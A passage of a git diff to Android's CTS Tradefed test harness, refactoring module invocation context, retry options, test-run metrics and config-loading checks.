                 mInvocationContext.setModuleInvocationContext(moduleContext);
+                // Populate the module context with devices and builds
+                for (String deviceName : mInvocationContext.getDeviceConfigNames()) {
+                    moduleContext.addAllocatedDevice(
+                            deviceName, mInvocationContext.getDevice(deviceName));
+                    moduleContext.addDeviceBuildInfo(
+                            deviceName, mInvocationContext.getBuildInfo(deviceName));
+                }
+                module.setInvocationContext(moduleContext);
                 try {
+                    listener.testModuleStarted(moduleContext);
                     module.run(listener);
                 } catch (DeviceUnresponsiveException due) {
                     // being able to catch a DeviceUnresponsiveException here implies that recovery
@@ -490,6 +502,7 @@
                     // clear out module invocation context since we are now done with module
                     // execution
                     mInvocationContext.setModuleInvocationContext(null);
+                    listener.testModuleEnded();
                 }
                 long duration = System.currentTimeMillis() - start;
                 long expected = module.getRuntimeHint();
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
index 7a2c44d..51b33a1 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
@@ -21,6 +21,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IRuntimeHintProvider;
 import com.android.tradefed.testtype.ITestCollector;
@@ -33,7 +34,7 @@
  * Container for Compatibility test info.
  */
 public interface IModuleDef extends Comparable<IModuleDef>, IBuildReceiver, IDeviceTest,
-        IRemoteTest, IRuntimeHintProvider, ITestCollector {
+        IRemoteTest, IRuntimeHintProvider, ITestCollector, IInvocationContextReceiver {
 
     /** key names used for saving module info into {@link IInvocationContext} */
     // This currently references ModuleDefinition so that there's only once source for String
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
index 5ef3a93..4104202 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
@@ -36,8 +36,8 @@
 import java.lang.reflect.Modifier;
 import java.net.URL;
 import java.net.URLClassLoader;
-import java.util.Collections;
 import java.util.Enumeration;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -136,11 +136,25 @@
      */
     @Override
     public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        int numTests = countTestCases();
+        int numTests = 0;
+        RuntimeException bufferedException = null;
+        try {
+            numTests = countTestCases();
+        } catch (RuntimeException e) {
+            bufferedException = e;
+        }
         long startTime = System.currentTimeMillis();
         listener.testRunStarted(getClass().getName(), numTests);
-        super.run(new HostTestListener(listener));
-        listener.testRunEnded(System.currentTimeMillis() - startTime, Collections.emptyMap());
+        HostTestListener hostListener = new HostTestListener(listener);
+        try {
+            if (bufferedException != null) {
+                throw bufferedException;
+            }
+            super.run(hostListener);
+        } finally {
+            listener.testRunEnded(System.currentTimeMillis() - startTime,
+                    hostListener.getMetrics());
+        }
     }
 
     /**
@@ -150,6 +164,8 @@
      */
     public class HostTestListener extends ResultForwarder {
 
+        private Map<String, String> mCollectedMetrics = new HashMap<>();
+
         public HostTestListener(ITestInvocationListener listener) {
             super(listener);
         }
@@ -168,6 +184,14 @@
         @Override
         public void testRunEnded(long elapsedTime, Map<String, String> metrics) {
             CLog.d("HostTestListener.testRunEnded(%d, %s)", elapsedTime, metrics.toString());
+            mCollectedMetrics.putAll(metrics);
+        }
+
+        /**
+         * Returns all the metrics reported by the tests
+         */
+        Map<String, String> getMetrics() {
+            return mCollectedMetrics;
         }
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index f51be93..ffb7ef7 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -26,6 +26,7 @@
 import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.result.ResultForwarder;
@@ -37,6 +38,7 @@
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IRuntimeHintProvider;
 import com.android.tradefed.testtype.ITestCollector;
@@ -68,6 +70,7 @@
     private ITestDevice mDevice;
     private Set<String> mPreparerWhitelist = new HashSet<>();
     private ConfigurationDescriptor mConfigurationDescriptor;
+    private IInvocationContext mContext;
 
     public ModuleDef(String name, IAbi abi, IRemoteTest test,
             List<ITargetPreparer> preparers, ConfigurationDescriptor configurationDescriptor) {
@@ -302,6 +305,9 @@
         if (mTest instanceof IDeviceTest) {
             ((IDeviceTest) mTest).setDevice(mDevice);
         }
+        if (mTest instanceof IInvocationContextReceiver) {
+            ((IInvocationContextReceiver) mTest).setInvocationContext(mContext);
+        }
     }
 
     /**
@@ -409,4 +415,16 @@
     public ConfigurationDescriptor getConfigurationDescriptor() {
         return mConfigurationDescriptor;
     }
+
+    /**
+     * @return the {@link IInvocationContext} for the module
+     */
+    protected IInvocationContext getInvocationContext() {
+        return mContext;
+    }
+
+    @Override
+    public void setInvocationContext(IInvocationContext invocationContext) {
+        mContext = invocationContext;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
index 40bf633..a95ebfb 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
@@ -16,7 +16,6 @@
 package com.android.compatibility.common.tradefed.testtype.retry;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
 import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuite;
 import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
 import com.android.compatibility.common.tradefed.util.RetryType;
@@ -41,13 +40,14 @@
 
 import com.google.common.annotations.VisibleForTesting;
 
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
 
 /**
- * Runner that creates a {@link CompatibilityTest} to re-run some previous results.
+ * Runner that creates a {@link CompatibilityTestSuite} to re-run some previous results.
  * Only the 'cts' plan is supported.
  * TODO: explore other new way to build the retry (instead of relying on one massive pair of
  * include/exclude filters)
@@ -57,50 +57,58 @@
         ISystemStatusCheckerReceiver, IInvocationContextReceiver, IShardableTest {
 
     /**
-     * Mirror the {@link CompatibilityTest} options in order to create it.
+     * Mirror the {@link CompatibilityTestSuite} options in order to create it.
      */
     public static final String RETRY_OPTION = "retry";
+    public static final String RETRY_TYPE_OPTION = "retry-type";
+
     @Option(name = RETRY_OPTION,
             shortName = 'r',
             description = "retry a previous session's failed and not executed tests.",
             mandatory = true)
     private Integer mRetrySessionId = null;
 
-    @Option(name = CompatibilityTest.SUBPLAN_OPTION,
+    @Option(name = CompatibilityTestSuite.SUBPLAN_OPTION,
             description = "the subplan to run",
             importance = Importance.IF_UNSET)
     protected String mSubPlan;
 
-    @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
+    @Option(name = CompatibilityTestSuite.INCLUDE_FILTER_OPTION,
             description = "the include module filters to apply.",
             importance = Importance.ALWAYS)
     protected Set<String> mIncludeFilters = new HashSet<>();
 
-    @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
+    @Option(name = CompatibilityTestSuite.EXCLUDE_FILTER_OPTION,
             description = "the exclude module filters to apply.",
             importance = Importance.ALWAYS)
     protected Set<String> mExcludeFilters = new HashSet<>();
 
-    @Option(name = CompatibilityTest.ABI_OPTION,
+    @Option(name = CompatibilityTestSuite.ABI_OPTION,
             shortName = 'a',
             description = "the abi to test.",
             importance = Importance.IF_UNSET)
     protected String mAbiName = null;
 
-    @Option(name = CompatibilityTest.MODULE_OPTION,
+    @Option(name = CompatibilityTestSuite.MODULE_OPTION,
             shortName = 'm',
             description = "the test module to run.",
             importance = Importance.IF_UNSET)
     protected String mModuleName = null;
 
-    @Option(name = CompatibilityTest.TEST_OPTION,
-            shortName = CompatibilityTest.TEST_OPTION_SHORT_NAME,
+    @Option(name = CompatibilityTestSuite.TEST_OPTION,
+            shortName = CompatibilityTestSuite.TEST_OPTION_SHORT_NAME,
             description = "the test run.",
             importance = Importance.IF_UNSET)
     protected String mTestName = null;
 
-    @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
-            description = "used with " + CompatibilityTest.RETRY_OPTION + ", retry tests"
+    @Option(name = CompatibilityTestSuite.TEST_ARG_OPTION,
+            description = "the arguments to pass to a test. The expected format is "
+                    + "\"<test-class>:<arg-name>:[<arg-key>:=]<arg-value>\"",
+            importance = Importance.ALWAYS)
+    private List<String> mTestArgs = new ArrayList<>();
+
+    @Option(name = RETRY_TYPE_OPTION,
+            description = "used with " + RETRY_OPTION + ", retry tests"
             + " of a certain status. Possible values include \"failed\" and \"not_executed\".",
             importance = Importance.IF_UNSET)
     protected RetryType mRetryType = null;
@@ -176,11 +184,9 @@
 
         try {
             OptionSetter setter = new OptionSetter(test);
-            setter.setOptionValue("compatibility:test-arg",
-                    "com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true");
-            setter.setOptionValue("compatibility:test-arg",
-                    "com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:"
-                    + "false");
+            for (String testArg : mTestArgs) {
+                setter.setOptionValue("compatibility:test-arg", testArg);
+            }
         } catch (ConfigurationException e) {
             throw new RuntimeException(e);
         }
@@ -191,13 +197,17 @@
         test.setBuild(mBuildInfo);
         test.setSystemStatusChecker(mStatusCheckers);
         test.setInvocationContext(mContext);
+        // reset the retry id - Ensure that retry of retry does not throw
+        test.resetRetryId();
         // clean the helper
         helper.tearDown();
         return test;
     }
 
-    @VisibleForTesting
-    RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+    /**
+     * @return a {@link RetryFilterHelper} created from the attributes of this object.
+     */
+    protected RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
         return new RetryFilterHelper(buildHelper, mRetrySessionId, mSubPlan, mIncludeFilters,
                 mExcludeFilters, mAbiName, mModuleName, mTestName, mRetryType);
     }
@@ -206,4 +216,11 @@
     CompatibilityTestSuite createTest() {
         return new CompatibilityTestSuite();
     }
+
+    /**
+     * @return the ID of the session to be retried.
+     */
+    protected Integer getRetrySessionId() {
+        return mRetrySessionId;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index bb74f23..80758fd 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -16,9 +16,9 @@
 package com.android.compatibility.common.tradefed.testtype.suite;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
 import com.android.compatibility.common.tradefed.testtype.ISubPlan;
 import com.android.compatibility.common.tradefed.testtype.SubPlan;
+import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTest;
 import com.android.compatibility.common.util.TestFilter;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.IConfiguration;
@@ -26,16 +26,9 @@
 import com.android.tradefed.config.Option.Importance;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.suite.ITestSuite;
-import com.android.tradefed.testtype.suite.TestSuiteInfo;
-import com.android.tradefed.util.AbiFormatter;
-import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.ArrayUtil;
-import com.android.tradefed.util.MultiMap;
 import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
 
 import java.io.File;
@@ -43,10 +36,8 @@
 import java.io.FileNotFoundException;
 import java.io.InputStream;
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.HashSet;
 import java.util.LinkedHashMap;
-import java.util.LinkedHashSet;
 import java.util.List;
 import java.util.Set;
 
@@ -56,20 +47,17 @@
 @OptionClass(alias = "compatibility")
 public class CompatibilityTestSuite extends ITestSuite {
 
-    private static final String INCLUDE_FILTER_OPTION = "include-filter";
-    private static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
-    private static final String SUBPLAN_OPTION = "subplan";
-    private static final String MODULE_OPTION = "module";
-    private static final String TEST_OPTION = "test";
+    public static final String INCLUDE_FILTER_OPTION = "include-filter";
+    public static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
+    public static final String SUBPLAN_OPTION = "subplan";
+    public static final String MODULE_OPTION = "module";
+    public static final String TEST_ARG_OPTION = "test-arg";
+    public static final String TEST_OPTION = "test";
+    public static final char TEST_OPTION_SHORT_NAME = 't';
     private static final String MODULE_ARG_OPTION = "module-arg";
-    private static final String TEST_ARG_OPTION = "test-arg";
-    private static final String ABI_OPTION = "abi";
-    private static final String SKIP_HOST_ARCH_CHECK = "skip-host-arch-check";
-    private static final String PRIMARY_ABI_RUN = "primary-abi-only";
-    private static final String PRODUCT_CPU_ABI_KEY = "ro.product.cpu.abi";
 
     // TODO: remove this option when CompatibilityTest goes away
-    @Option(name = CompatibilityTest.RETRY_OPTION,
+    @Option(name = RetryFactoryTest.RETRY_OPTION,
             shortName = 'r',
             description = "Copy of --retry from CompatibilityTest to prevent using it.")
     private Integer mRetrySessionId = null;
@@ -96,7 +84,7 @@
     private String mModuleName = null;
 
     @Option(name = TEST_OPTION,
-            shortName = 't',
+            shortName = TEST_OPTION_SHORT_NAME,
             description = "the test to run.",
             importance = Importance.IF_UNSET)
     private String mTestName = null;
@@ -113,38 +101,6 @@
             importance = Importance.ALWAYS)
     private List<String> mTestArgs = new ArrayList<>();
 
-    @Option(name = ABI_OPTION,
-            shortName = 'a',
-            description = "the abi to test.",
-            importance = Importance.IF_UNSET)
-    private String mAbiName = null;
-
-    @Option(name = SKIP_HOST_ARCH_CHECK,
-            description = "Whether host architecture check should be skipped")
-    private boolean mSkipHostArchCheck = false;
-
-    @Option(name = PRIMARY_ABI_RUN,
-            description = "Whether to run tests with only the device primary abi. "
-                    + "This override the --abi option.")
-    private boolean mPrimaryAbiRun = false;
-
-    @Option(name = "module-metadata-include-filter",
-            description = "Include modules for execution based on matching of metadata fields: "
-                    + "for any of the specified filter name and value, if a module has a metadata "
-                    + "field with the same name and value, it will be included. When both module "
-                    + "inclusion and exclusion rules are applied, inclusion rules will be "
-                    + "evaluated first. Using this together with test filter inclusion rules may "
-                    + "result in no tests to execute if the rules don't overlap.")
-    private MultiMap<String, String> mModuleMetadataIncludeFilter = new MultiMap<>();
-
-    @Option(name = "module-metadata-exclude-filter",
-            description = "Exclude modules for execution based on matching of metadata fields: "
-                    + "for any of the specified filter name and value, if a module has a metadata "
-                    + "field with the same name and value, it will be excluded. When both module "
-                    + "inclusion and exclusion rules are applied, inclusion rules will be "
-                    + "evaluated first.")
-    private MultiMap<String, String> mModuleMetadataExcludeFilter = new MultiMap<>();
-
     private ModuleRepoSuite mModuleRepo = new ModuleRepoSuite();
     private CompatibilityBuildHelper mBuildHelper;
 
@@ -163,8 +119,7 @@
             // Initialize the repository, {@link CompatibilityBuildHelper#getTestsDir} can
             // throw a {@link FileNotFoundException}
             return mModuleRepo.loadConfigs(mBuildHelper.getTestsDir(),
-                    abis, mTestArgs, mModuleArgs, mIncludeFilters,
-                    mExcludeFilters, mModuleMetadataIncludeFilter, mModuleMetadataExcludeFilter);
+                    abis, mTestArgs, mModuleArgs, mIncludeFilters, mExcludeFilters);
         } catch (DeviceNotAvailableException | FileNotFoundException e) {
             throw new RuntimeException(e);
         }
@@ -180,64 +135,6 @@
     }
 
     /**
-     * Gets the set of ABIs supported by both Compatibility and the device under test
-     *
-     * @return The set of ABIs to run the tests on
-     * @throws DeviceNotAvailableException
-     */
-    Set<IAbi> getAbis(ITestDevice device) throws DeviceNotAvailableException {
-        Set<IAbi> abis = new LinkedHashSet<>();
-        Set<String> archAbis = getAbisForBuildTargetArch();
-        if (mPrimaryAbiRun) {
-            if (mAbiName == null) {
-                // Get the primary from the device and make it the --abi to run.
-                mAbiName = device.getProperty(PRODUCT_CPU_ABI_KEY).trim();
-            } else {
-                CLog.d("Option --%s supersedes the option --%s, using abi: %s", ABI_OPTION,
-                        PRIMARY_ABI_RUN, mAbiName);
-            }
-        }
-        if (mAbiName != null) {
-            // A particular abi was requested, it still needs to be supported by the build.
-            if ((!mSkipHostArchCheck && !archAbis.contains(mAbiName)) ||
-                    !AbiUtils.isAbiSupportedByCompatibility(mAbiName)) {
-                throw new IllegalArgumentException(String.format("Your CTS hasn't been built with "
-                        + "abi '%s' support, this CTS currently supports '%s'.",
-                        mAbiName, archAbis));
-            } else {
-                abis.add(new Abi(mAbiName, AbiUtils.getBitness(mAbiName)));
-                return abis;
-            }
-        } else {
-            // Run on all abi in common between the device and CTS.
-            List<String> deviceAbis = Arrays.asList(AbiFormatter.getSupportedAbis(device, ""));
-            for (String abi : deviceAbis) {
-                if ((mSkipHostArchCheck || archAbis.contains(abi)) &&
-                        AbiUtils.isAbiSupportedByCompatibility(abi)) {
-                    abis.add(new Abi(abi, AbiUtils.getBitness(abi)));
-                } else {
-                    CLog.d("abi '%s' is supported by device but not by this CTS build (%s), tests "
-                            + "will not run against it.", abi, archAbis);
-                }
-            }
-            if (abis.isEmpty()) {
-                throw new IllegalArgumentException(String.format("None of the abi supported by this"
-                       + " CTS build ('%s') are supported by the device ('%s').",
-                       archAbis, deviceAbis));
-            }
-            return abis;
-        }
-    }
-
-    /**
-     * Return the abis supported by the Host build target architecture.
-     * Exposed for testing.
-     */
-    protected Set<String> getAbisForBuildTargetArch() {
-        return AbiUtils.getAbisForArch(TestSuiteInfo.getInstance().getTargetArch());
-    }
-
-    /**
      * Sets the include/exclude filters up based on if a module name was given or whether this is a
      * retry run.
      */
@@ -273,7 +170,8 @@
                 String moduleName = modules.get(0);
                 checkFilters(mIncludeFilters, moduleName);
                 checkFilters(mExcludeFilters, moduleName);
-                mIncludeFilters.add(new TestFilter(mAbiName, moduleName, mTestName).toString());
+                mIncludeFilters.add(new TestFilter(getRequestedAbi(), moduleName, mTestName)
+                        .toString());
             }
         } else if (mTestName != null) {
             throw new IllegalArgumentException(
@@ -306,4 +204,11 @@
     public void setExcludeFilter(Set<String> excludeFilters) {
         mExcludeFilters.addAll(excludeFilters);
     }
+
+    /**
+     * Allow to reset the requested session id for retry.
+     */
+    public void resetRetryId() {
+        mRetrySessionId = null;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
index a889330..9693ce0 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
@@ -30,7 +30,6 @@
 import com.android.tradefed.testtype.ITestFilterReceiver;
 import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
-import com.android.tradefed.util.MultiMap;
 import com.android.tradefed.util.StreamUtil;
 
 import java.io.File;
@@ -42,7 +41,6 @@
 import java.util.Collection;
 import java.util.Collections;
 import java.util.HashMap;
-import java.util.HashSet;
 import java.util.LinkedHashMap;
 import java.util.List;
 import java.util.Map;
@@ -67,9 +65,7 @@
      */
     public LinkedHashMap<String, IConfiguration> loadConfigs(File testsDir, Set<IAbi> abis,
             List<String> testArgs, List<String> moduleArgs,
-            Set<String> includeFilters, Set<String> excludeFilters,
-            MultiMap<String, String> metadataIncludeFilters,
-            MultiMap<String, String> metadataExcludeFilters) {
+            Set<String> includeFilters, Set<String> excludeFilters) {
         CLog.d("Initializing ModuleRepo\nTests Dir:%s\nABIs:%s\n" +
                 "Test Args:%s\nModule Args:%s\nIncludes:%s\nExcludes:%s",
                 testsDir.getAbsolutePath(), abis, testArgs, moduleArgs,
@@ -108,12 +104,6 @@
                         continue;
                     }
                     IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
-                    if (!filterByConfigMetadata(config,
-                            metadataIncludeFilters, metadataExcludeFilters)) {
-                        // if the module config did not pass the metadata filters, it's excluded
-                        // from execution
-                        continue;
-                    }
                     Map<String, List<String>> args = new HashMap<>();
                     if (mModuleArgs.containsKey(name)) {
                         args.putAll(mModuleArgs.get(name));
@@ -176,47 +166,6 @@
         }
     }
 
-    @VisibleForTesting
-    protected boolean filterByConfigMetadata(IConfiguration config,
-            MultiMap<String, String> include, MultiMap<String, String> exclude) {
-        MultiMap<String, String> metadata = config.getConfigurationDescription().getAllMetaData();
-        boolean shouldInclude = false;
-        for (String key : include.keySet()) {
-            Set<String> filters = new HashSet<>(include.get(key));
-            if (metadata.containsKey(key)) {
-                filters.retainAll(metadata.get(key));
-                if (!filters.isEmpty()) {
-                    // inclusion filter is not empty and there's at least one matching inclusion
-                    // rule so there's no need to match other inclusion rules
-                    shouldInclude = true;
-                    break;
-                }
-            }
-        }
-        if (!include.isEmpty() && !shouldInclude) {
-            // if inclusion filter is not empty and we didn't find a match, the module will not be
-            // included
-            return false;
-        }
-        // Now evaluate exclusion rules, this ordering also means that exclusion rules may override
-        // inclusion rules: a config already matched for inclusion may still be excluded if matching
-        // rules exist
-        for (String key : exclude.keySet()) {
-            Set<String> filters = new HashSet<>(exclude.get(key));
-            if (metadata.containsKey(key)) {
-                filters.retainAll(metadata.get(key));
-                if (!filters.isEmpty()) {
-                    // we found at least one matching exclusion rules, so we are excluding this
-                    // this module
-                    return false;
-                }
-            }
-        }
-        // we've matched at least one inclusion rule (if there's any) AND we didn't match any of the
-        // exclusion rules (if there's any)
-        return true;
-    }
-
     /**
      * @return the {@link List} of modules whose name contains the given pattern.
      */
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index c9d9cbe..24bca49 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -32,14 +32,12 @@
 import com.android.compatibility.common.tradefed.result.SubPlanHelperTest;
 import com.android.compatibility.common.tradefed.targetprep.PropertyCheckTest;
 import com.android.compatibility.common.tradefed.targetprep.SettingsPreparerTest;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBaseTest;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTestTest;
 import com.android.compatibility.common.tradefed.testtype.JarHostTestTest;
 import com.android.compatibility.common.tradefed.testtype.ModuleDefTest;
 import com.android.compatibility.common.tradefed.testtype.ModuleRepoTest;
 import com.android.compatibility.common.tradefed.testtype.SubPlanTest;
 import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTestTest;
-import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
 import com.android.compatibility.common.tradefed.testtype.suite.ModuleRepoSuiteTest;
 import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
 import com.android.compatibility.common.tradefed.util.DynamicConfigFileReaderTest;
@@ -88,7 +86,6 @@
     SettingsPreparerTest.class,
 
     // testtype
-    CompatibilityHostTestBaseTest.class,
     CompatibilityTestTest.class,
     JarHostTestTest.class,
     ModuleDefTest.class,
@@ -99,7 +96,6 @@
     RetryFactoryTestTest.class,
 
     // testype.suite
-    CompatibilityTestSuiteTest.class,
     ModuleRepoSuiteTest.class,
 
     // util
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index bcc82ac9..6b9cc5e 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -79,6 +79,22 @@
     ));
 
     /**
+     * List of the officially supported runners in CTS, they meet all the interfaces criteria as
+     * well as support sharding very well. Any new addition should go through a review.
+     */
+    private static final Set<String> SUPPORTED_CTS_TEST_TYPE = new HashSet<>(Arrays.asList(
+            // Cts runners
+            "com.android.compatibility.common.tradefed.testtype.JarHostTest",
+            "com.android.compatibility.testtype.DalvikTest",
+            "com.android.compatibility.testtype.LibcoreTest",
+            "com.drawelements.deqp.runner.DeqpTestRunner",
+            // Tradefed runners
+            "com.android.tradefed.testtype.AndroidJUnitTest",
+            "com.android.tradefed.testtype.HostTest",
+            "com.android.tradefed.testtype.GTest"
+    ));
+
+    /**
      * Test that configuration shipped in Tradefed can be parsed.
      * -> Exclude deprecated ApkInstaller.
      * -> Check if host-side tests are non empty.
@@ -121,6 +137,12 @@
             }
             // We can ensure that Host side tests are not empty.
             for (IRemoteTest test : c.getTests()) {
+                // Check that all the tests runners are well supported.
+                if (!SUPPORTED_CTS_TEST_TYPE.contains(test.getClass().getCanonicalName())) {
+                    throw new ConfigurationException(
+                            String.format("testtype %s is not officially supported by CTS.",
+                                    test.getClass().getCanonicalName()));
+                }
                 if (test instanceof HostTest) {
                     HostTest hostTest = (HostTest) test;
                     // We inject a made up folder so that it can find the tests.
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
deleted file mode 100644
index 66d05fc..0000000
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.tradefed.testtype;
-
-import com.android.ddmlib.IDevice;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.TestRunResult;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.JUnit4ResultForwarder;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-
-import junit.framework.TestCase;
-
-import org.easymock.EasyMock;
-import org.junit.Test;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.RunWith;
-import org.junit.runner.Runner;
-
-import java.util.Collections;
-
-/**
- * Tests for the CompatibilityHostTestBase class.
- */
-public class CompatibilityHostTestBaseTest extends TestCase {
-
-    private static final String DEVICE_TEST_PKG = "com.android.foo";
-
-    @RunWith(DeviceJUnit4ClassRunner.class)
-    public static class MockTest extends CompatibilityHostTestBase {
-
-        @Test
-        public void testRunDeviceTests() throws Exception {
-            runDeviceTests(DEVICE_TEST_PKG, null, null);
-        }
-
-        @Override
-        protected CollectingTestListener createCollectingListener() {
-            return new CollectingTestListener() {
-                @Override
-                public TestRunResult getCurrentRunResults() {
-                    TestRunResult result = new TestRunResult();
-                    TestIdentifier t1 = new TestIdentifier("class1", "test1");
-                    result.testStarted(t1);
-                    result.testEnded(t1, Collections.emptyMap());
-                    return result;
-                }
-            };
-        }
-
-    }
-
-    public void testRunMockDeviceTests() throws Exception {
-        final TestIdentifier testRunDeviceTests =
-                new TestIdentifier(MockTest.class.getName(), "testRunDeviceTests");
-
-        ITestInvocationListener listener = EasyMock.createStrictMock(ITestInvocationListener.class);
